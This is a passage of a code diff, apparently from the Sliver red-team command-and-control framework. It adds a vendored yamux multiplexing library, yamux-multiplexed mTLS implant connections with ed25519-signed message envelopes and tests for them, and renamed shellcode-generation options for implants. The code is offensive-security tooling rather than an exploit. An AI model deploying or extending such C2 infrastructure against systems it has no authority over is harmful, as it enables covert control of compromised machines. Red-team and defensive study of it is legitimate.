s.recvLock.Unlock()
// Send the header
s.controlHdr.encode(typeWindowUpdate, flags, s.id, delta)
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
// Message left in ready queue, header re-use is unsafe.
s.controlHdr = header(make([]byte, headerSize))
}
return err
}
return nil
}
// sendClose is used to send a FIN
func (s *Stream) sendClose() error {
s.controlHdrLock.Lock()
defer s.controlHdrLock.Unlock()
flags := s.sendFlags()
flags |= flagFIN
s.controlHdr.encode(typeWindowUpdate, flags, s.id, 0)
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
// Message left in ready queue, header re-use is unsafe.
s.controlHdr = header(make([]byte, headerSize))
}
return err
}
return nil
}
// Close is used to close the stream
func (s *Stream) Close() error {
closeStream := false
s.stateLock.Lock()
switch s.state {
// Opened means we need to signal a close
case streamSYNSent:
fallthrough
case streamSYNReceived:
fallthrough
case streamEstablished:
s.state = streamLocalClose
goto SEND_CLOSE
case streamLocalClose:
case streamRemoteClose:
s.state = streamClosed
closeStream = true
goto SEND_CLOSE
case streamClosed:
case streamReset:
default:
panic("unhandled state")
}
s.stateLock.Unlock()
return nil
SEND_CLOSE:
// This shouldn't happen (the more realistic scenario to cancel the
// timer is via processFlags) but just in case this ever happens, we
// cancel the timer to prevent dangling timers.
if s.closeTimer != nil {
s.closeTimer.Stop()
s.closeTimer = nil
}
// If we have a StreamCloseTimeout set we start the timeout timer.
// We do this only if we're not already closing the stream since that
// means this was a graceful close.
//
// This prevents memory leaks if one side (this side) closes and the
// remote side poorly behaves and never responds with a FIN to complete
// the close. After the specified timeout, we clean our resources up no
// matter what.
if !closeStream && s.session.config.StreamCloseTimeout > 0 {
s.closeTimer = time.AfterFunc(
s.session.config.StreamCloseTimeout, s.closeTimeout)
}
s.stateLock.Unlock()
s.sendClose()
s.notifyWaiting()
if closeStream {
s.session.closeStream(s.id)
}
return nil
}
// closeTimeout is called after StreamCloseTimeout during a close to
// close this stream.
func (s *Stream) closeTimeout() {
// Close our side forcibly
s.forceClose()
// Free the stream from the session map
s.session.closeStream(s.id)
// Send a RST so the remote side closes too.
s.sendLock.Lock()
defer s.sendLock.Unlock()
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagRST, s.id, 0)
_ = s.session.sendNoWait(hdr)
}
// forceClose is used for when the session is exiting
func (s *Stream) forceClose() {
s.stateLock.Lock()
s.state = streamClosed
s.stateLock.Unlock()
s.notifyWaiting()
}
// processFlags is used to update the state of the stream
// based on set flags, if any. Lock must be held
func (s *Stream) processFlags(flags uint16) error {
s.stateLock.Lock()
defer s.stateLock.Unlock()
// Close the stream without holding the state lock
closeStream := false
defer func() {
if closeStream {
if s.closeTimer != nil {
// Stop our close timeout timer since we gracefully closed
s.closeTimer.Stop()
}
s.session.closeStream(s.id)
}
}()
if flags&flagACK == flagACK {
if s.state == streamSYNSent {
s.state = streamEstablished
}
asyncNotify(s.establishCh)
s.session.establishStream(s.id)
}
if flags&flagFIN == flagFIN {
switch s.state {
case streamSYNSent:
fallthrough
case streamSYNReceived:
fallthrough
case streamEstablished:
s.state = streamRemoteClose
s.notifyWaiting()
case streamLocalClose:
s.state = streamClosed
closeStream = true
s.notifyWaiting()
default:
s.session.logger.Printf("[ERR] yamux: unexpected FIN flag in state %d", s.state)
return ErrUnexpectedFlag
}
}
if flags&flagRST == flagRST {
s.state = streamReset
closeStream = true
s.notifyWaiting()
}
return nil
}
// notifyWaiting notifies all the waiting channels
func (s *Stream) notifyWaiting() {
asyncNotify(s.recvNotifyCh)
asyncNotify(s.sendNotifyCh)
asyncNotify(s.establishCh)
}
// incrSendWindow updates the size of our send window
func (s *Stream) incrSendWindow(hdr header, flags uint16) error {
if err := s.processFlags(flags); err != nil {
return err
}
// Increase window, unblock a sender
atomic.AddUint32(&s.sendWindow, hdr.Length())
asyncNotify(s.sendNotifyCh)
return nil
}
// readData is used to handle a data frame
func (s *Stream) readData(hdr header, flags uint16, conn io.Reader) error {
if err := s.processFlags(flags); err != nil {
return err
}
// Check that our recv window is not exceeded
length := hdr.Length()
if length == 0 {
return nil
}
// Wrap in a limited reader
conn = &io.LimitedReader{R: conn, N: int64(length)}
// Copy into buffer
s.recvLock.Lock()
if length > s.recvWindow {
s.session.logger.Printf("[ERR] yamux: receive window exceeded (stream: %d, remain: %d, recv: %d)", s.id, s.recvWindow, length)
s.recvLock.Unlock()
return ErrRecvWindowExceeded
}
if s.recvBuf == nil {
// Allocate the receive buffer just-in-time to fit the full data frame.
// This way we can read in the whole packet without further allocations.
s.recvBuf = bytes.NewBuffer(make([]byte, 0, length))
}
copiedLength, err := io.Copy(s.recvBuf, conn)
if err != nil {
s.session.logger.Printf("[ERR] yamux: Failed to read stream data: %v", err)
s.recvLock.Unlock()
return err
}
// Decrement the receive window
s.recvWindow -= uint32(copiedLength)
s.recvLock.Unlock()
// Unblock any readers
asyncNotify(s.recvNotifyCh)
return nil
}
// SetDeadline sets the read and write deadlines
func (s *Stream) SetDeadline(t time.Time) error {
if err := s.SetReadDeadline(t); err != nil {
return err
}
if err := s.SetWriteDeadline(t); err != nil {
return err
}
return nil
}
// SetReadDeadline sets the deadline for blocked and future Read calls.
func (s *Stream) SetReadDeadline(t time.Time) error {
s.readDeadline.Store(t)
asyncNotify(s.recvNotifyCh)
return nil
}
// SetWriteDeadline sets the deadline for blocked and future Write calls
func (s *Stream) SetWriteDeadline(t time.Time) error {
s.writeDeadline.Store(t)
asyncNotify(s.sendNotifyCh)
return nil
}
// Shrink is used to compact the amount of buffers utilized
// This is useful when using Yamux in a connection pool to reduce
// the idle memory utilization.
func (s *Stream) Shrink() {
s.recvLock.Lock()
if s.recvBuf != nil && s.recvBuf.Len() == 0 {
s.recvBuf = nil
}
s.recvLock.Unlock()
}
+50
View File
@@ -0,0 +1,50 @@
package yamux
import (
"sync"
"time"
)
// Logger is a abstract of *log.Logger
type Logger interface {
Print(v ...interface{})
Printf(format string, v ...interface{})
Println(v ...interface{})
}
var (
timerPool = &sync.Pool{
New: func() interface{} {
timer := time.NewTimer(time.Hour * 1e6)
timer.Stop()
return timer
},
}
)
// asyncSendErr is used to try an async send of an error
func asyncSendErr(ch chan error, err error) {
if ch == nil {
return
}
select {
case ch <- err:
default:
}
}
// asyncNotify is used to signal a waiting goroutine
func asyncNotify(ch chan struct{}) {
select {
case ch <- struct{}{}:
default:
}
}
// min computes the minimum of two values
func min(a, b uint32) uint32 {
if a < b {
return a
}
return b
}
+3
View File
@@ -45,6 +45,9 @@ github.com/google/btree
# github.com/hashicorp/go-uuid v1.0.2
## explicit
github.com/hashicorp/go-uuid
# github.com/hashicorp/yamux v0.1.2
## explicit; go 1.20
github.com/hashicorp/yamux
# github.com/jcmturner/gofork v1.0.0
## explicit
github.com/jcmturner/gofork/encoding/asn1
+83
View File
@@ -0,0 +1,83 @@
package yamuxtest
import (
"bytes"
"fmt"
"io"
"net"
"sync"
"testing"
"github.com/hashicorp/yamux"
)
func TestYamuxConcurrentStreams(t *testing.T) {
serverConn, clientConn := net.Pipe()
serverSession, err := yamux.Server(serverConn, nil)
if err != nil {
t.Fatalf("server session: %v", err)
}
defer serverSession.Close()
clientSession, err := yamux.Client(clientConn, nil)
if err != nil {
t.Fatalf("client session: %v", err)
}
defer clientSession.Close()
const streams = 16
payloads := make([][]byte, streams)
for i := 0; i < streams; i++ {
payloads[i] = []byte(fmt.Sprintf("stream=%d payload=%s", i, bytes.Repeat([]byte{byte('a' + i)}, 4096)))
}
var openWg sync.WaitGroup
openWg.Add(streams)
for i := 0; i < streams; i++ {
i := i
go func() {
defer openWg.Done()
stream, err := clientSession.Open()
if err != nil {
t.Errorf("open stream %d: %v", i, err)
return
}
_, err = stream.Write(payloads[i])
_ = stream.Close()
if err != nil {
t.Errorf("write stream %d: %v", i, err)
return
}
}()
}
openWg.Wait()
wantSet := map[string]struct{}{}
for _, p := range payloads {
wantSet[string(p)] = struct{}{}
}
gotSet := map[string]struct{}{}
for i := 0; i < streams; i++ {
stream, err := serverSession.Accept()
if err != nil {
t.Fatalf("accept stream %d: %v", i, err)
}
b, err := io.ReadAll(stream)
_ = stream.Close()
if err != nil {
t.Fatalf("read stream %d: %v", i, err)
}
gotSet[string(b)] = struct{}{}
}
if len(gotSet) != len(wantSet) {
t.Fatalf("unexpected payload count: got=%d want=%d", len(gotSet), len(wantSet))
}
for want := range wantSet {
if _, ok := gotSet[want]; !ok {
t.Fatalf("missing payload: %q", want)
}
}
}
File diff suppressed because it is too large. Load diff
+15 -10
View File
@@ -132,22 +132,26 @@ enum OutputFormat {
THIRD_PARTY = 4;
}
message DonutConfig {
// 1=none, 2=random names, 3=random names + symmetric encryption
// ShellcodeConfig - options used when generating shellcode output.
//
// Note: Most fields map to Donut options for Windows shellcode generation.
// On macOS (darwin/arm64), only `Compress` is currently used (beignet aPLib).
message ShellcodeConfig {
// 1=none, 2=random names, 3=random names + symmetric encryption (Windows/Donut only)
uint32 Entropy = 2;
// 1=none, 2=aplib
// 1=none, 2=aplib (Windows/Donut + macOS/beignet)
uint32 Compress = 3;
// 1=exit thread, 2=exit process, 3=block
// 1=exit thread, 2=exit process, 3=block (Windows/Donut only)
uint32 ExitOpt = 4;
// 1=none, 2=abort on failure, 3=continue on failure
// 1=none, 2=abort on failure, 3=continue on failure (Windows/Donut only)
uint32 Bypass = 5;
// 1=overwrite headers, 2=keep headers
// 1=overwrite headers, 2=keep headers (Windows/Donut only)
uint32 Headers = 6;
// Run unmanaged EXE entrypoint as a new thread
// Run unmanaged EXE entrypoint as a new thread (Windows/Donut only)
bool Thread = 7;
// Convert command line to Unicode for unmanaged DLL entrypoints
// Convert command line to Unicode for unmanaged DLL entrypoints (Windows/Donut only)
bool Unicode = 8;
// Override original entry point (0 = default)
// Override original entry point (0 = default) (Windows/Donut only)
uint32 OEP = 9;
}
@@ -203,7 +207,8 @@ message ImplantConfig {
bool RunAtLoad = 105;
string DebugFile = 106;
repeated string exports = 107;
DonutConfig DonutConfig = 108;
ShellcodeConfig ShellcodeConfig = 108;
ShellcodeEncoder ShellcodeEncoder = 109;
string HTTPC2ConfigName = 150;
bool NetGoEnabled = 151;
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v6.33.4
// protoc v3.15.8
// source: commonpb/common.proto
package commonpb
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v6.33.4
// protoc v3.15.8
// source: dnspb/dns.proto
package dnspb
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v6.33.4
// protoc v3.15.8
// source: rpcpb/services.proto
package rpcpb
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v6.33.4
// protoc v3.15.8
// source: sliverpb/sliver.proto
package sliverpb
+9 -10
View File
@@ -36,13 +36,13 @@ var (
)
func TestMain(m *testing.M) {
implantConfig := setup()
implantBuild := setup()
code1 := m.Run()
cleanup(implantConfig)
cleanup(implantBuild)
os.Exit(code1)
}
func setup() *models.ImplantConfig {
func setup() *models.ImplantBuild {
var err error
certs.SetupCAs()
serverAgeKeyPair = cryptography.AgeServerKeyPair()
@@ -60,6 +60,7 @@ func setup() *models.ImplantConfig {
publicKeyDigest := hex.EncodeToString(digest.Sum(nil))
implantBuild := &models.ImplantBuild{
Name: "test-" + publicKeyDigest,
PeerPublicKey: peerAgeKeyPair.Public,
PeerPublicKeyDigest: publicKeyDigest,
PeerPrivateKey: peerAgeKeyPair.Private,
@@ -70,13 +71,11 @@ func setup() *models.ImplantConfig {
if err != nil {
panic(err)
}
return implantBuild
}
implantConfig := &models.ImplantConfig{
ImplantBuilds: []models.ImplantBuild{*implantBuild},
func cleanup(implantBuild *models.ImplantBuild) {
if implantBuild != nil {
db.Session().Delete(implantBuild)
}
return implantConfig
}
func cleanup(implantConfig *models.ImplantConfig) {
db.Session().Delete(implantConfig)
}
+224 -39
View File
@@ -19,7 +19,10 @@ package c2
*/
import (
"bufio"
"bytes"
"crypto/ed25519"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/binary"
@@ -27,13 +30,20 @@ import (
"fmt"
"io"
"net"
"sync"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
serverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util/minisign"
"github.com/hashicorp/yamux"
"golang.org/x/crypto/blake2b"
"google.golang.org/protobuf/proto"
)
@@ -43,12 +53,57 @@ const (
// ServerMaxMessageSize - Server-side max GRPC message size
ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1
mtlsYamuxPreface = "MUX/1"
mtlsYamuxMaxConcurrentStreams = 128
mtlsYamuxMaxConcurrentSends = 64
)
var (
mtlsLog = log.NamedLogger("c2", consts.MtlsStr)
mtlsYamuxPrefaceBytes = []byte(mtlsYamuxPreface)
mtlsImplantSigKeyCache sync.Map // map[uint64]ed25519.PublicKey
)
const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
func deriveImplantSigningKey(peerPrivateKey string) (uint64, ed25519.PublicKey, error) {
if peerPrivateKey == "" {
return 0, nil, errors.New("[mtls] missing peer private key")
}
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerPrivateKey))
priv := ed25519.NewKeyFromSeed(seed[:])
pub := priv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
keyID := binary.LittleEndian.Uint64(digest[:8])
return keyID, pub, nil
}
func lookupImplantSigKey(keyID uint64) (ed25519.PublicKey, bool, error) {
if cached, ok := mtlsImplantSigKeyCache.Load(keyID); ok {
return cached.(ed25519.PublicKey), true, nil
}
builds := []*models.ImplantBuild{}
if err := db.Session().Where(&models.ImplantBuild{}).Find(&builds).Error; err != nil {
return nil, false, err
}
for _, build := range builds {
buildKeyID, pub, err := deriveImplantSigningKey(build.PeerPrivateKey)
if err != nil {
continue
}
if buildKeyID == keyID {
mtlsImplantSigKeyCache.Store(keyID, pub)
return pub, false, nil
}
}
return nil, false, errors.New("[mtls] unknown implant signature key")
}
// StartMutualTLSListener - Start a mutual TLS listener
func StartMutualTLSListener(bindIface string, port uint16) (net.Listener, error) {
mtlsLog.Infof("Starting raw TCP/mTLS listener on %s:%d", bindIface, port)
@@ -94,51 +149,144 @@ func handleSliverConnection(conn net.Conn) {
implantConn.Cleanup()
}()
done := make(chan bool)
br := bufio.NewReader(conn)
bufferedConn := &mtlsBufferedConn{Conn: conn, r: br}
preface, err := br.Peek(len(mtlsYamuxPrefaceBytes))
if err == nil && bytes.Equal(preface, mtlsYamuxPrefaceBytes) {
if _, err := br.Discard(len(mtlsYamuxPrefaceBytes)); err != nil {
mtlsLog.Errorf("Failed to discard yamux preface: %v", err)
return
}
handleSliverConnectionYamux(bufferedConn, implantConn)
return
}
mtlsLog.Warnf("Rejecting legacy mtls connection (missing yamux preface) from %s", conn.RemoteAddr())
}
type mtlsBufferedConn struct {
net.Conn
r *bufio.Reader
}
func (c *mtlsBufferedConn) Read(p []byte) (int, error) {
return c.r.Read(p)
}
func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
session, err := yamux.Server(conn, nil)
if err != nil {
mtlsLog.Errorf("Failed to initialize yamux session: %v", err)
return
}
defer session.Close()
done := make(chan struct{})
var doneOnce sync.Once
closeDone := func() {
doneOnce.Do(func() {
close(done)
session.Close()
})
}
streamSem := make(chan struct{}, mtlsYamuxMaxConcurrentStreams)
sendSem := make(chan struct{}, mtlsYamuxMaxConcurrentSends)
handlers := serverHandlers.GetHandlers()
go func() {
defer func() {
done <- true
}()
handlers := serverHandlers.GetHandlers()
defer closeDone()
for {
envelope, err := socketReadEnvelope(conn)
stream, err := session.Accept()
if err != nil {
mtlsLog.Errorf("Socket read error %v", err)
if !errors.Is(err, io.EOF) {
mtlsLog.Errorf("yamux accept error: %v", err)
}
return
}
implantConn.UpdateLastMessage()
if envelope.ID != 0 {
implantConn.RespMutex.RLock()
if resp, ok := implantConn.Resp[envelope.ID]; ok {
resp <- envelope // Could deadlock, maybe want to investigate better solutions
}
implantConn.RespMutex.RUnlock()
} else if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func() {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
}
select {
case streamSem <- struct{}{}:
case <-done:
stream.Close()
return
}
go func(stream net.Conn) {
defer func() {
<-streamSem
}()
defer stream.Close()
envelope, err := socketReadEnvelope(stream)
if err != nil {
mtlsLog.Errorf("Stream read error %v", err)
closeDone()
return
}
implantConn.UpdateLastMessage()
if envelope.ID != 0 {
implantConn.RespMutex.RLock()
resp, ok := implantConn.Resp[envelope.ID]
implantConn.RespMutex.RUnlock()
if ok {
resp <- envelope
}
return
}
if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func(envelope *sliverpb.Envelope) {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
}
}(envelope)
}
}(stream)
}
}()
go func() {
defer closeDone()
for {
select {
case envelope := <-implantConn.Send:
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func(envelope *sliverpb.Envelope) {
defer func() {
<-sendSem
}()
stream, err := session.Open()
if err != nil {
mtlsLog.Errorf("yamux open stream error: %v", err)
closeDone()
return
}
defer stream.Close()
if err := socketWriteEnvelope(stream, envelope); err != nil {
mtlsLog.Errorf("Stream write failed %v", err)
closeDone()
return
}
}(envelope)
case <-done:
return
}
}
}()
Loop:
for {
select {
case envelope := <-implantConn.Send:
err := socketWriteEnvelope(conn, envelope)
if err != nil {
mtlsLog.Errorf("Socket write failed %v", err)
break Loop
}
case <-done:
break Loop
}
}
mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
<-done
}
// socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing
@@ -150,19 +298,41 @@ func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error
mtlsLog.Errorf("Envelope marshaling error: %v", err)
return err
}
// Prepend a fixed-length raw minisign signature (binary) so the implant can
// verify messages independent of the mTLS layer.
rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
if _, err := connection.Write(rawSig[:]); err != nil {
return err
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
connection.Write(dataLengthBuf.Bytes())
connection.Write(data)
if err := binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data))); err != nil {
mtlsLog.Errorf("Envelope marshaling error: %v", err)
return err
}
if _, err := connection.Write(dataLengthBuf.Bytes()); err != nil {
return err
}
if _, err := connection.Write(data); err != nil {
return err
}
return nil
}
// socketReadEnvelope - Reads a message from the TLS connection using length prefix framing
// returns messageType, message, and error
func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
rawSigBuf := make([]byte, minisign.RawSigSize)
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
n, err := io.ReadFull(connection, dataLengthBuf)
n, err := io.ReadFull(connection, rawSigBuf)
if err != nil || n != len(rawSigBuf) {
mtlsLog.Errorf("Socket error (read raw signature): %v", err)
return nil, err
}
n, err = io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
@@ -184,6 +354,21 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
return nil, err
}
algorithm := binary.LittleEndian.Uint16(rawSigBuf[:2])
if algorithm != minisign.EdDSA {
return nil, errors.New("[mtls] unsupported signature algorithm")
}
keyID := binary.LittleEndian.Uint64(rawSigBuf[2:10])
pubKey, _, err := lookupImplantSigKey(keyID)
if err != nil {
return nil, err
}
signature := rawSigBuf[10:]
if !ed25519.Verify(pubKey, dataBuf, signature) {
return nil, errors.New("[mtls] invalid signature")
}
// Unmarshal the protobuf envelope
envelope := &sliverpb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
+366
View File
@@ -0,0 +1,366 @@
package c2
import (
"bytes"
"crypto/ed25519"
"crypto/rand"
"crypto/sha256"
"encoding/binary"
"errors"
"io"
"net"
"strings"
"testing"
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/protobuf/sliverpb"
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/util/minisign"
"golang.org/x/crypto/blake2b"
"google.golang.org/protobuf/proto"
)
func clearMTLSImplantSigKeyCache(t *testing.T) {
t.Helper()
mtlsImplantSigKeyCache.Range(func(key, _ any) bool {
mtlsImplantSigKeyCache.Delete(key)
return true
})
}
func newImplantSignedEnvelopeFrame(t *testing.T, peerPrivateKey string, envelope *sliverpb.Envelope) ([]byte, uint64, ed25519.PublicKey) {
t.Helper()
data, err := proto.Marshal(envelope)
if err != nil {
t.Fatalf("marshal envelope: %v", err)
}
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerPrivateKey))
priv := ed25519.NewKeyFromSeed(seed[:])
pub := priv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
keyID := binary.LittleEndian.Uint64(digest[:8])
rawSigBuf := make([]byte, minisign.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], minisign.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(priv, data))
frame := make([]byte, 0, minisign.RawSigSize+4+len(data))
frame = append(frame, rawSigBuf...)
dataLengthBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(dataLengthBuf, uint32(len(data)))
frame = append(frame, dataLengthBuf...)
frame = append(frame, data...)
return frame, keyID, pub
}
func newServerSignedEnvelopeFrame(t *testing.T, envelope *sliverpb.Envelope) []byte {
t.Helper()
data, err := proto.Marshal(envelope)
if err != nil {
t.Fatalf("marshal envelope: %v", err)
}
rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
frame := make([]byte, 0, minisign.RawSigSize+4+len(data))
frame = append(frame, rawSig[:]...)
dataLengthBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(dataLengthBuf, uint32(len(data)))
frame = append(frame, dataLengthBuf...)
frame = append(frame, data...)
return frame
}
func TestMTLSSocketReadEnvelopeRejectsUnsupportedAlgorithm(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
mtlsImplantSigKeyCache.Store(keyID, pub)
// Flip to HashEdDSA (or any non-EdDSA value), should be rejected.
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err := <-errCh
if err == nil || !strings.Contains(err.Error(), "unsupported signature algorithm") {
t.Fatalf("expected unsupported signature algorithm error, got=%v", err)
}
}
func TestMTLSSocketReadEnvelopeAcceptsValidSignature(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
want := &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
}
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", want)
mtlsImplantSigKeyCache.Store(keyID, pub)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
got, err := socketReadEnvelope(srv)
if err != nil {
t.Fatalf("expected valid signature, got err=%v", err)
}
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
}
}
func TestMTLSSocketReadEnvelopeRejectsInvalidSignature(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
mtlsImplantSigKeyCache.Store(keyID, pub)
// Corrupt a signature byte.
frame[10] ^= 0xff
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err := <-errCh
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSSocketReadEnvelopeRejectsTamperedMessage(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
mtlsImplantSigKeyCache.Store(keyID, pub)
// Flip a byte in the protobuf payload after signing.
dataOffset := minisign.RawSigSize + 4
frame[dataOffset] ^= 0x01
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err := <-errCh
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSSocketReadEnvelopeRejectsWrongKeyID(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Swap the key ID to a different cached public key (signature won't match).
wrongPub, _, err := ed25519.GenerateKey(rand.Reader)
if err != nil {
t.Fatalf("generate ed25519 key: %v", err)
}
wrongKeyID := keyID + 1
mtlsImplantSigKeyCache.Store(wrongKeyID, wrongPub)
binary.LittleEndian.PutUint64(frame[2:10], wrongKeyID)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err = <-errCh
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSSocketReadEnvelopeRejectsTruncatedSignature(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, _, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame[:minisign.RawSigSize-1])
_ = cli.Close()
}()
err := <-errCh
if err == nil {
t.Fatalf("expected error for truncated signature, got nil")
}
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
t.Fatalf("expected EOF for truncated signature, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeRejectsInvalidServerSignature(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Corrupt a signature byte.
frame[10] ^= 0xff
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeAcceptsValidServerSignature(t *testing.T) {
want := &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
}
frame := newServerSignedEnvelopeFrame(t, want)
got, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err != nil {
t.Fatalf("expected valid signature, got err=%v", err)
}
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
}
}
func TestMTLSImplantReadEnvelopeRejectsWrongServerKeyID(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Flip key ID bytes.
frame[2] ^= 0xff
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeRejectsAlgorithmDowngradeTrick(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Change algorithm to HashEdDSA without changing the signature; verification must fail.
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
